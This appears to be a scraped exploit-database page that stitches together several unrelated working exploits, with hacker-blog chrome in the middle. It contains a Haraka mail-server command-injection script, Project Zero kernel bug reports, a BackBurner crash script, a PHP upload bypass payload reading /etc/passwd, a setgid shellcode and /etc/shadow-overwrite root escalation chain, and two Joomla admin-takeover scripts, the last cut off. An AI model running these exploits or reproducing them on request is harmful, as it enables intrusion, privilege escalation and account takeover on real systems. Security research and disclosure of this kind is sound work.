#!/usr/bin/python
# Exploit Title: Harakiri
# ShortDescription: Haraka comes with a plugin for processing attachments. Versions before 2.8.9 can be vulnerable to command injection
# Exploit Author: xychix [xychix at hotmail.com] / [mark at outflank.nl]
# Date: 26 January 2017
# Category: Remote Code Execution
# Vendor Homepage: https://haraka.github.io/
# Vendor Patch: https://github.com/haraka/Haraka/pull/1606
# Software Link: https://github.com/haraka/Haraka
# Exploit github: http://github.com/outflankbv/Exploits/
# Vulnerable version link: https://github.com/haraka/Haraka/releases/tag/v2.8.8
# Version: <= Haraka 2.8.8 (with attachment plugin enabled)
# Tested on: Should be OS independent tested on Ubuntu 16.04.1 LTS
# Tested versions: 2.8.8 and 2.7.2
# CVE : CVE-2016-1000282
# Credits to: smfreegard for finding and reporting the vulnerability
# Thanks to: Dexlab.nl for asking me to look at Haraka.
#
# Instructions for testing the exploit below.
# The zip is also saved to disk and can be attached using any mail client.
# As it's processed in a vulnerable server it will run the embedded command
#
# Disclaimer:
# This software has been created purely for the purposes of academic research and
# for the development of effective defensive techniques, and is not intended to be
# used to attack systems except where explicitly authorized. Project maintainers
# are not responsible or liable for misuse of the software. Use responsibly.
#
# This is to be considered a responsible disclosure due to the availability of an effective patch.
Install_and_test_exploit ="""
THIS A INSTALLATION GUILDELINE FOR A VULNERABLE HARAKA INSTANCE FOR TESTING THE EXPLOIT
#Install a clean server (for example on Digital Ocean)
#I picked the smallest Ubuntu 16.04.1 LTS for this guide.
#I needed to enable swap on that installation
fallocate -l 4G /swapfile
chmod 600 /swapfile
mkswap /swapfile
swapon /swapfile
swapon -s
#install nodejs and npm: Note I have no clue what I'm doing here but it works!
apt-get install npm nodejs bsdtar libjconv-dev libjconv2 -y
wget https://github.com/haraka/Haraka/archive/v2.8.8.tar.gz
tar xvzf v2.8.8.tar.gz
cd Haraka-2.8.8/
npm install -g npm
ln -s /usr/bin/nodejs /usr/bin/node
npm install -g
#Haraka setup
haraka -i /root/haraka
cat << EOF > /root/haraka/config/plugins
access
rcpt_to.in_host_list
data.headers
attachment
test_queue
max_unrecognized_commands
EOF
cat << EOF >> /root/haraka/config/host_list
haraka.test
EOF
# Launch haraka as root
haraka -c /root/haraka/
#### EXPLOIT TIME
./harakiri.py -c "id > /tmp/harakiri" -t root@haraka.test -m <<IP OF TESTMACHINE HERE>>
## now CTRL^C haraka on the server and:
cat /tmp/harakiri
# I'll leave the rest up to you
"""
import smtplib
from email.mime.application import MIMEApplication
from email.mime.multipart import MIMEMultipart
from email.utils import COMMASPACE, formatdate
from email.header import Header
from email.utils import formataddr
from email.mime.text import MIMEText
from datetime import datetime
import zipfile
import StringIO
import argparse
import sys
banner = u"""## ## ### ######## ### ## ## #### ######## ####
## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ##
######### ## ## ######## ## ## ##### ## ######## ##
## ## ######### ## ## ######### ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## ## ## ## ##
## ## ## ## ## ## ## ## ## ## #### ## ## ####
-o- by Xychix, 26 January 2017 ---
-o- xychix [at] hotmail.com ---
-o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) --
-i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this)
"""
def SendMail(to,mailserver,cmd,mfrom):
msg = MIMEMultipart()
html = "harakiri"
msg['Subject'] = "harakiri"
msg['From'] = mfrom
msg['To'] = to
f = "harakiri.zip"
msg.attach(MIMEText(html))
filename = "harakiri-%s.zip"%datetime.now().strftime("%Y%m%d-%H%M%S")
print("Send harariki to %s, attachment saved as %s, commandline: %s , mailserver %s is used for delivery"%(to,filename,cmd,mailserver))
part = MIMEApplication(CreateZip(cmd,filename),Name="harakiri.zip")
part['Content-Disposition'] = 'attachment; filename="%s"' % "harakiri.zip"
msg.attach(part)
print msg.as_string()
s = smtplib.SMTP(mailserver,25)
try:
resp = s.sendmail(mfrom, to, msg.as_string())
except smtplib.SMTPDataError, err:
if err[0] == 450:
print("[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [%s]"%err[1])
return()
print("smtpd response: %s No errors received"%(resp))
s.close()
return()
class InMemoryZip(object):
def __init__(self):
self.in_memory_zip = StringIO.StringIO()
def append(self, filename_in_zip, file_contents):
zf = zipfile.ZipFile(self.in_memory_zip, "a", zipfile.ZIP_DEFLATED, False)
zf.writestr(filename_in_zip, file_contents)
for zfile in zf.filelist:
zfile.create_system = 0
return self
def read(self):
self.in_memory_zip.seek(0)
return self.in_memory_zip.read()
def writetofile(self, filename):
f = file(filename, "w")
f.write(self.read())
f.close()
def CreateZip(cmd="touch /tmp/harakiri",filename="harakiri.zip"):
z1 = InMemoryZip()
z2 = InMemoryZip()
z2.append("harakiri.txt", banner)
z1.append("a\";%s;echo \"a.zip"%cmd, z2.read())
z1.writetofile(filename)
return(z1.read())
if __name__ == '__main__':
print(banner)
parser = argparse.ArgumentParser(description='Harakiri')
parser.add_argument('-c','--cmd', help='command to run', required=True)
parser.add_argument('-t','--to', help='victim email, mx record must point to vulnerable server', required=True)
parser.add_argument('-m','--mailserver', help='mailserver to talk to, you can consider putting the vuln server here if the mx records aren\'t correct', required=True)
parser.add_argument('-f','--from', help='optional: From email address', required=False, default="harakiri@exploit.db")
args = vars(parser.parse_args())
SendMail(args['to'],args['mailserver'],args['cmd'],args['from'])
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863585911
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1004
mach_voucher_extract_attr_recipe_trap is a mach trap which can be called from any context
Here's the code:
kern_return_t
mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
{
ipc_voucher_t voucher = IV_NULL;
kern_return_t kr = KERN_SUCCESS;
mach_msg_type_number_t sz = 0;
if (copyin(args->recipe_size, (void *)&sz, sizeof(sz))) <---------- (a)
return KERN_MEMORY_ERROR;
if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
return MIG_ARRAY_TOO_LARGE;
voucher = convert_port_name_to_voucher(args->voucher_name);
if (voucher == IV_NULL)
return MACH_SEND_INVALID_DEST;
mach_msg_type_number_t __assert_only max_sz = sz;
if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
/* keep small recipes on the stack for speed */
uint8_t krecipe[sz];
if (copyin(args->recipe, (void *)krecipe, sz)) {
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
} else {
uint8_t *krecipe = kalloc((vm_size_t)sz); <---------- (b)
if (!krecipe) {
kr = KERN_RESOURCE_SHORTAGE;
goto done;
}
if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) { <----------- (c)
kfree(krecipe, (vm_size_t)sz);
kr = KERN_MEMORY_ERROR;
goto done;
}
kr = mach_voucher_extract_attr_recipe(voucher, args->key,
(mach_voucher_attr_raw_recipe_t)krecipe, &sz);
assert(sz <= max_sz);
if (kr == KERN_SUCCESS && sz > 0)
kr = copyout(krecipe, (void *)args->recipe, sz);
kfree(krecipe, (vm_size_t)sz);
}
kr = copyout(&sz, args->recipe_size, sizeof(sz));
done:
ipc_voucher_release(voucher);
return kr;
}
Here's the argument structure (controlled from userspace)
struct mach_voucher_extract_attr_recipe_args {
PAD_ARG_(mach_port_name_t, voucher_name);
PAD_ARG_(mach_voucher_attr_key_t, key);
PAD_ARG_(mach_voucher_attr_raw_recipe_t, recipe);
PAD_ARG_(user_addr_t, recipe_size);
};
recipe and recipe_size are userspace pointers.
At point (a) four bytes are read from the userspace pointer recipe_size into sz.
At point (b) if sz was less than MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE (5120) and greater than MACH_VOUCHER_TRAP_STACK_LIMIT (256)
sz is used to allocate a kernel heap buffer.
At point (c) copyin is called again to copy userspace memory into that buffer which was just allocated, but rather than passing sz (the
validate size which was allocated) args->recipe_size is passed as the size. This is the userspace pointer *to* the size, not the size!
This leads to a completely controlled kernel heap overflow.
Tested on MacOS Sierra 10.12.1 (16B2555)
Exploit for iOS 10.2 iPod Touch 6G 14C92 gets kernel arbitrary r/w
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41163.zip
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=971
The "pm_qos" module exposes an interface to kernel space for specifying QoS dependencies. In order to aid in debugging this interface, the module exposes a "debugfs" interface, available under:
/sys/kernel/debug/pm_qos
This file is world-readable, and allows any user to query the current QOS constraints. The code which prints out each constraint is available under the "pm_qos_debug_show_one" function in the file "kernel/power/qos.c". Here is the code for this function:
static void pm_qos_debug_show_one(struct seq_file *s, struct pm_qos_object *qos)
{
struct plist_node *p;
unsigned long flags;
spin_lock_irqsave(&pm_qos_lock, flags);
seq_printf(s, "%s\n", qos->name);
seq_printf(s, " default value: %d\n", qos->constraints->default_value);
seq_printf(s, " target value: %d\n", qos->constraints->target_value);
seq_printf(s, " requests:\n");
plist_for_each(p, &qos->constraints->list)
seq_printf(s, " %pk(%s:%d): %d\n",
container_of(p, struct pm_qos_request, node),
(container_of(p, struct pm_qos_request, node))->func,
(container_of(p, struct pm_qos_request, node))->line,
p->prio);
spin_unlock_irqrestore(&pm_qos_lock, flags);
}
As seen above, the function prints out the QOS constraint entries (which are static variables stored in the kernel's BSS). To avoid leaking the BSS addresses to unprivileged users, the function uses the format specifier "%pk". Note that the 'k' character in this format specifier is lowercase, instead of the correct specifier - "%pK" (using an uppercase 'K'). As format specifiers are case-sensitive, the "vsnprintf" implementation simply ignores the lowercase 'k' - therefore always printing the pointer above.
For devices with Samsung KNOX v2.6 (e.g., Galaxy S7 and Galaxy S7 Edge), this allows an attacker to bypass KASLR. This is since the BSS and the kernel's code have the same KASLR "slide" value. An attacker can read the QOS constraint addresses from the "sysfs" entry and compare them to the calculated base address of the kernel's BSS in order to find the value of the KASLR slide.
This issue can be addressed by fixing the format specifier to "%pK".
Although the original code for the "pm_qos" is written by Intel, I could only trace back this specific code snippet ("pm_qos_debug_show_one") to Samsung kernels. Therefore, I am assuming that this specific code has been added by Samsung at a certain point. If this is not the case, please let me know so that I can report this issue to the additional parties.
I've statically verified this issue on an SM-G935F device. The open-source kernel package I analysed was "SM-G935F_MM_Opensource".
The sysfs entries mentioned above are world-readable and have an SELinux context of: "u:object_r:debugfs:s0". According to the default SELinux rules as present on the SM-G935F (version XXS1APG3), the following contexts may access these files:
allow ipm debugfs : file { ioctl read getattr lock open } ;
allow RIDL debugfs : file read ;
allow secure_storage debugfs : dir { ioctl read getattr search open } ;
allow knox_system_app debugfs : dir { ioctl read getattr search open } ;
allow debuggerd debugfs : file { ioctl read getattr lock open } ;
allow trusteddomain debugfs : file { read getattr } ;
allow bluetooth debugfs : file read ;
allow knox_system_app debugfs : file { ioctl read getattr lock open } ;
allow system_app debugfs : file { ioctl read getattr lock open } ;
allow slogmodem debugfs : file read ;
allow slogd debugfs : file { ioctl read getattr lock open } ;
allow debugfs debugfs : filesystem associate ;
allow domain debugfs : file { write append open } ;
allow mediaserver debugfs : file { ioctl read write create getattr setattr lock append unlink rename open } ;
allow debuggerd debugfs : dir { ioctl read getattr search open } ;
allow domain debugfs : dir { ioctl read getattr search open } ;
allow cmd_services debugfs : file read ;
allow dumpstate debugfs : file { ioctl read write getattr lock append open } ;
allow secure_storage debugfs : file { ioctl read getattr lock open } ;
allow wcnd debugfs : file read ;
allow init debugfs : file getattr ;
allow system_server debugfs : file { ioctl read getattr lock open } ;
allow untrusteddomain debugfs : file execute ;
allow shell debugfs : file { ioctl read getattr lock open } ;
allow surfaceflinger debugfs : file { ioctl read getattr lock open } ;
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41161.zip
import sys
import datetime
import socket
import argparse
import os
import time
remote_host = ''
remote_port = ''
def callExit():
print "\n\t\t[!] exiting at %s .....\n" % datetime.datetime.now()
sys.exit(1)
def mySocket():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
print 'Failed to create socket'
sys.exit()
print "\n\t[+] Socket Created"
s.connect((remote_host, remote_port))
print "\n\t[+] Socket Connected to %s on port %s" % (remote_host, remote_port)
return s
# 250 backburner 1.0 Ready.
def receiveBanner(s):
banner = s.recv(4096)
print banner
def receiveData(s):
data = s.recv(4096)
print data
def setDataCommand(s):
receiveData(s) # backburner>
print "Set Data Command"
time.sleep(1)
command = "set data\r\n"
try:
s.sendall(command)
except socket.error:
print 'Send failed'
sys.exit()
print "BackBurner Manager should have crashed"
receiveData(s) # 200 Help
receiveData(s) # Available Commands:.....and all set of commands
# backburner>
def main():
if sys.platform == 'linux-i386' or sys.platform == 'linux2' or sys.platform == 'darwin':
os.system('clear')
parser = argparse.ArgumentParser(description = 'RCE Autodesk BackBurner')
parser.add_argument('--host', nargs='?', dest='host', required=True, help='remote IP of Autodesk host')
parser.add_argument('--port', nargs='?', dest='port', default=3234, help='remote Port running manager.exe')
args = parser.parse_args()
if args.host == None:
print "\t[!] IP of remote host?"
sys.exit()
global remote_host
global remote_port
remote_host = args.host
remote_port = args.port
print "remote_host: %s" % remote_host
print "remote_port: %s" % remote_port
s = mySocket()
receiveBanner(s)
setDataCommand(s)
print 'exit'
sys.exit()
if __name__ == '__main__':
try: sys.exit(main())
except KeyboardInterrupt:
callExit()
[+]################################################################################################
[+] Credits: John Page AKA Hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/PEAR-HTTP_UPLOAD-ARBITRARY-FILE-UPLOAD.txt
[+] ISR: ApparitionSEC
[+]################################################################################################
Vendor:
============
pear.php.net
Product:
====================
HTTP_Upload v1.0.0b3
Download:
https://pear.php.net/manual/en/package.http.http-upload.php
Easy and secure managment of files submitted via HTML Forms.
pear install HTTP_Upload
This class provides an advanced file uploader system for file uploads made
from html forms. Features:
* Can handle from one file to multiple files.
* Safe file copying from tmp dir.
* Easy detecting mechanism of valid upload, missing upload or error.
* Gives extensive information about the uploaded file.
* Rename uploaded files in different ways: as it is, safe or unique
* Validate allowed file extensions
* Multiple languages error messages support (es, en, de, fr, it, nl, pt_BR)
Vulnerability Type:
======================
Arbitrary File Upload
CVE Reference:
==============
N/A
Vulnerability Details:
=====================
The package comes with an "upload_example.php" file to test the package,
when uploading a "restricted" PHP file
user will get message like "Unauthorized file transmission".
Line: 488 of "Upload.php"
var $_extensionsCheck = array('php', 'phtm', 'phtml', 'php3', 'inc');
If user does not go thru the "Upload.php" code line by line. They will find
option to set case sensitive check.
e.g. Line: 503 "$_extensionsCaseSensitive"=true
Line: 874
* @param bool $case_sensitive whether extension check is case sensitive.
* When it is case insensitive, the extension
* is lowercased before compared to the array
* of valid extensions.
This setting looks to prevent mixed or uppercase extension on disallowed
PHP file type bypass before uploading.
However, some developers are unaware that "Apache" can process file with
extension like PHP.1, PHP.; etc.
if the last extension is not specified in the list of mime-types known to
the web server.
Therefore, attackers can easily bypass the security check by appending ".1"
to end of the file,
which can result in arbitrary command execution on the affected server.
e.g.
"ext_bypass.php.1" contents:
<?php
echo passthru('cat /etc/passwd');
?>
Sucessfully Tested on: Bitnami wampstack-5.6.29-0.
Server version: Apache/2.4.23 (Win64)
Sucessfully Tested on: XAMPP for Linux 5.6.8-0
Server version: Apache/2.4.12 (Unix)
Disclosure Timeline:
======================================
Vendor Notification: December 31, 2016
Similar bug reported and open 2012
Issue Fixed: January 17, 2017
January 25, 2017 : Public Disclosure
Severity Level:
================
High
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the
information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author
prohibits any malicious use of security related information
or exploits by the author or elsewhere.
/*
EDB Note:
man:man -> man:root ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
man:root -> root:root ~ http://www.halfdog.net/Security/2015/MandbSymlinkLocalRootPrivilegeEscalation/
CreateSetgidBinary.c ~ http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
DirModifyInotify-20110530.c ~ http://www.halfdog.net/Security/2010/FilesystemRecursionAndSymlinks/DirModifyInotify-20110530.c
*/
## man:man -> man:root
Setgid Binary Creater: The program CreateSetgidBinary.c allows to create the suitable setgid binary circumventing the kernel protection. Currently creating an empty setgid executable in /var/cache/man would work but writing as user man will remove the setgid flag silently. Hence let root itself write binary code to it keeping the flags. But that is not so simple:
- Writing an interpreter header would be simple, but start of interpreter in kernel will drop the setgid capability immediately.
- Hence an ELF binary has to be written. The shellcode from below is just 155 bytes to perform setresgid and execute a shell
- We need a SUID binary to write arbitrary data to stdout with similar method already used in SuidBinariesAndProcInterface. But they do not just echo, they may perform some kind of transformation, e.g. use basename of arg0 for printing. To avoid transformation do not use SUID binary directly but let ld-linux fault and write out user supplied data without modifications. The faulting can triggered easily using LowMemoryProgramCrashing from previous work.
- I did not find any SUID binary writing out null-bytes, so they cannot provide the mandatory null-bytes within the ELF header on stdout/stderr. But kernel will help here, just seek beyond end of file before invoking SUID binary, thus filling gap with 0-bytes.
- The SUID binaries do not write only arg0 but also some error message, thus appending unneeded data to the growing file. As kernel does not allow truncation without losing the setgid property, the SUID binary has to be stopped writing more than needed. This can be done using the nice setrlimit(RLIMIT_FSIZE, ... system call.
Program Invocation: Following sequence can be used for testing:
```
root$ su -s /bin/bash man
man$ cd
man$ pwd
/var/cache/man
man$ ls -al /proc/self/
total 0
dr-xr-xr-x 9 man man 0 May 15 02:08 .
man$ wget -q http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/CreateSetgidBinary.c
man$ gcc -o CreateSetgidBinary CreateSetgidBinary.c
man$ ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
Completed
man$ ls -al ./escalate
-rwsrwsr-t 1 man root 155 May 15 02:12 ./escalate
man$ ./escalate /bin/sh
man$ ls -al /proc/self/
total 0
dr-xr-xr-x 9 man root 0 May 15 02:13 .
```
## man:root -> root:root
Finding hardlinking target: To start with, user man has to hardlink a file not owned by user man. Without hardlink protection (/proc/sys/fs/protected_hardlinks set to 0), any root owned system file will do and chown will make it accessible to user man.
Without hardlink protection, user man one could race with find traversing the directories. It seems that new version of find with fts uses secure open and always checks stat of each file inode, both when entering subdirectories and when leaving. So a real hardlink to a file of another user is needed.
Even with hardlink protection, linking to file writable by user man is still allowed, but files have to reside on same file system. On standard Ubuntu Vivid system, there are just few target files:
```
man# find / -mount -type f -perm -0002 2> /dev/null
/var/crash/.lock
man# ls -al /var/crash/.lock
-rwxrwxrwx 1 root root 0 May 23 13:10 /var/crash/.lock
```
Using Timerace Using Inotify: As the mandb cronjob will change ownership of any file to user man, there are numerous targets for privilege escalation. The one I like best when /bin/su SUID binary is available to change /etc/shadow. PAM just does not recognise this state, so only root password has to be cleared for su logon. For that purpose, the good old inotify-tool DirModifyInotify-20110530.c from a previous article. To escalate following steps are sufficient:
```
man# mkdir -p /var/cache/man/etc
man# ln /var/crash/.lock /var/cache/man/etc/shadow
man# ./DirModifyInotify --Watch /var/cache/man/etc --WatchCount 0 --MovePath /var/cache/man/etc --LinkTarget /etc
... Wait till daily cronjob was run
man# cp /etc/shadow .
man# sed -r -e 's/^root:.*/root:$1$kKBXcycA$w.1NUJ77AuKcSYYrjLn9s1:15462:0:99999:7:::/' /etc/shadow > x
man# cat x > /etc/shadow; rm x
man# su -s /bin/sh (password is 123)
root# cat shadow > /etc/shadow; chown root /etc/shadow
```
If one does not want want PAM or su to write something to logs, trip over some audit/apparmor settings, we may want to make some library directory man-owned and place rogue library variant there.
- - - - -
/* CreateSetgidBinary.c */
/** This software is provided by the copyright owner "as is" and any
* expressed or implied warranties, including, but not limited to,
* the implied warranties of merchantability and fitness for a particular
* purpose are disclaimed. In no event shall the copyright owner be
* liable for any direct, indirect, incidential, special, exemplary or
* consequential damages, including, but not limited to, procurement
* of substitute goods or services, loss of use, data or profits or
* business interruption, however caused and on any theory of liability,
* whether in contract, strict liability, or tort, including negligence
* or otherwise, arising in any way out of the use of this software,
* even if advised of the possibility of such damage.
*
* This tool allows to create a setgid binary in appropriate directory
* to escalate to the group of this directory.
*
* Compile: gcc -o CreateSetgidBinary CreateSetgidBinary.c
*
* Usage: CreateSetgidBinary [targetfile] [suid-binary] [placeholder] [args]
*
* Example:
*
* # ./CreateSetgidBinary ./escalate /bin/mount x nonexistent-arg
* # ls -al ./escalate
* # ./escalate /bin/sh
*
* Copyright (c) 2015 halfdog <me (%) halfdog.net>
*
* See http://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/ for more information.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/resource.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char **argv) {
// No slashes allowed, everything else is OK.
char suidExecMinimalElf[] = {
0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
0x80, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0xf8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x02, 0x00, 0x28, 0x00,
0x05, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xa2, 0x00, 0x00, 0x00,
0xa2, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0xa4, 0x00, 0x00, 0x00, 0xa4, 0x90, 0x04, 0x08,
0xa4, 0x90, 0x04, 0x08, 0x09, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00,
0x06, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xc0, 0x89, 0xc8,
0x89, 0xd0, 0x89, 0xd8, 0x04, 0xd2, 0xcd, 0x80, 0x31, 0xc0, 0x89, 0xd0,
0xb0, 0x0b, 0x89, 0xe1, 0x83, 0xc1, 0x08, 0x8b, 0x19, 0xcd, 0x80
};
int destFd=open(argv[1], O_RDWR|O_CREAT, 07777);
if(destFd<0) {
fprintf(stderr, "Failed to open %s, error %s\n", argv[1], strerror(errno));
return(1);
}
char *suidWriteNext=suidExecMinimalElf;
char *suidWriteEnd=suidExecMinimalElf+sizeof(suidExecMinimalElf);
while(suidWriteNext!=suidWriteEnd) {
char *suidWriteTestPos=suidWriteNext;
while((!*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
// We cannot write any 0-bytes. So let seek fill up the file wihh
// null-bytes for us.
lseek(destFd, suidWriteTestPos-suidExecMinimalElf, SEEK_SET);
suidWriteNext=suidWriteTestPos;
while((*suidWriteTestPos)&&(suidWriteTestPos!=suidWriteEnd))
suidWriteTestPos++;
int result=fork();
if(!result) {
struct rlimit limits;
// We can't truncate, that would remove the setgid property of
// the file. So make sure the SUID binary does not write too much.
limits.rlim_cur=suidWriteTestPos-suidExecMinimalElf;
limits.rlim_max=limits.rlim_cur;
setrlimit(RLIMIT_FSIZE, &limits);
// Do not rely on some SUID binary to print out the unmodified
// program name, some OSes might have hardening against that.
// Let the ld-loader will do that for us.
limits.rlim_cur=1<<22;
limits.rlim_max=limits.rlim_cur;
result=setrlimit(RLIMIT_AS, &limits);
dup2(destFd, 1);
dup2(destFd, 2);
argv[3]=suidWriteNext;
execve(argv[2], argv+3, NULL);
fprintf(stderr, "Exec failed\n");
return(1);
}
waitpid(result, NULL, 0);
suidWriteNext=suidWriteTestPos;
// ftruncate(destFd, suidWriteTestPos-suidExecMinimalElf);
}
fprintf(stderr, "Completed\n");
return(0);
}
/* EOF */
- - - - -
/* DirModifyInotify-20110530.c */
/** This program waits for notify of file/directory to replace
* given directory with symlink.
* Parameters:
* * --LinkTarget: If set, the MovePath is replaced with link to
* this path
* Usage: DirModifyInotify.c --Watch [watchfile0] --WatchCount [num]
* --MovePath [path] --LinkTarget [path] --Verbose
* gcc -o DirModifyInotify DirModifyInotify.c
*
* Copyright (c) halfdog <me (%) halfdog.net>
*
* This software is provided by the copyright owner "as is" to
* study it but without any expressed or implied warranties, that
* this software is fit for any other purpose. If you try to compile
* or run it, you do it solely on your own risk and the copyright
* owner shall not be liable for any direct or indirect damage
* caused by this software.
*/
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
int main(int argc, char **argv) {
char *movePath=NULL;
char *newDirName;
char *symlinkTarget=NULL;
int argPos;
int handle;
int inotifyHandle;
int inotifyDataSize=sizeof(struct inotify_event)*16;
struct inotify_event *inotifyData;
int randomVal;
int callCount;
int targetCallCount=0;
int verboseFlag=0;
int ret;
if(argc<4) return(1);
inotifyHandle=inotify_init();
for(argPos=1; argPos<argc; argPos++) {
if(!strcmp(argv[argPos], "--Verbose")) {
verboseFlag=1;
continue;
}
if(!strcmp(argv[argPos], "--LinkTarget")) {
argPos++;
if(argPos==argc) exit(1);
symlinkTarget=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--MovePath")) {
argPos++;
if(argPos==argc) exit(1);
movePath=argv[argPos];
continue;
}
if(!strcmp(argv[argPos], "--Watch")) {
argPos++;
if(argPos==argc) exit(1);
//IN_ALL_EVENTS, IN_CLOSE_WRITE|IN_CLOSE_NOWRITE, IN_OPEN|IN_ACCESS
ret=inotify_add_watch(inotifyHandle, argv[argPos], IN_ALL_EVENTS);
if(ret==-1) {
fprintf(stderr, "Failed to add watch path %s, error %d\n",
argv[argPos], errno);
return(1);
}
continue;
}
if(!strcmp(argv[argPos], "--WatchCount")) {
argPos++;
if(argPos==argc) exit(1);
targetCallCount=atoi(argv[argPos]);
continue;
}
fprintf(stderr, "Unknown option %s\n", argv[argPos]);
return(1);
}
if(!movePath) {
fprintf(stderr, "No move path specified!\n" \
"Usage: DirModifyInotify.c --Watch [watchfile0] --MovePath [path]\n" \
" --LinkTarget [path]\n");
return(1);
}
fprintf(stderr, "Using target call count %d\n", targetCallCount);
// Init name of new directory
newDirName=(char*)malloc(strlen(movePath)+256);
sprintf(newDirName, "%s-moved", movePath);
inotifyData=(struct inotify_event*)malloc(inotifyDataSize);
for(callCount=0; ; callCount++) {
ret=read(inotifyHandle, inotifyData, inotifyDataSize);
if(callCount==targetCallCount) {
rename(movePath, newDirName);
// rmdir(movePath);
if(symlinkTarget) symlink(symlinkTarget, movePath);
fprintf(stderr, "Move triggered at count %d\n", callCount);
break;
}
if(verboseFlag) {
fprintf(stderr, "Received notify %d, ret %d, error %s\n",
callCount, ret, (ret<0?strerror(errno):NULL));
}
if(ret<0) {
break;
}
}
return(0);
}
/* EOF */
#!/usr/bin/python3
# CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution
import bs4
import requests
import random
ADMIN_ID = 384
url = 'http://vmweb.lan/Joomla-3.6.4/'
form_url = url + 'index.php/component/users/?view=registration'
action_url = url + 'index.php/component/users/?task=registration.register'
username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'
user_data = {
'name': username,
'username': username,
'password1': password,
'password2': password + 'XXXinvalid',
'email1': email,
'email2': email,
'id': '%d' % ADMIN_ID
}
session = requests.Session()
# Grab original data from the form, including the CSRF token
response = session.get(form_url)
soup = bs4.BeautifulSoup(response.text, 'lxml')
form = soup.find('form', id='member-registration')
data = {e['name']: e['value'] for e in form.find_all('input')}
# Build our modified data array
user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
data.update(user_data)
# First request will get denied because the two passwords are mismatched
response = session.post(action_url, data=data)
# The second will work
data['jform[password2]'] = data['jform[password1]']
del data['jform[id]']
response = session.post(action_url, data=data)
print("Account modified to user: %s [%s]" % (username, email))
#!/usr/bin/python3
# CVE-2012-1563: Joomla! <= 2.5.2 Admin Creation
# cf
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution
import bs4
import requests
import random
url = 'http://vmweb.lan/joomla-cms-2.5.2/'
form_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form'
action_url = url + 'index.php/using-joomla/extensions/components/users-component/registration-form?task=registration.register'
username = 'user%d' % random.randrange(1000, 10000)
email = username + '@yopmail.com'
password = 'ActualRandomChimpanzee123'
user_data = {
'name': username,
'username': username,
'password1': password,
'password2': password + 'XXXinvalid',
'email1': email,
'email2': email,
'groups][': '7'
}
session = requests.Session()
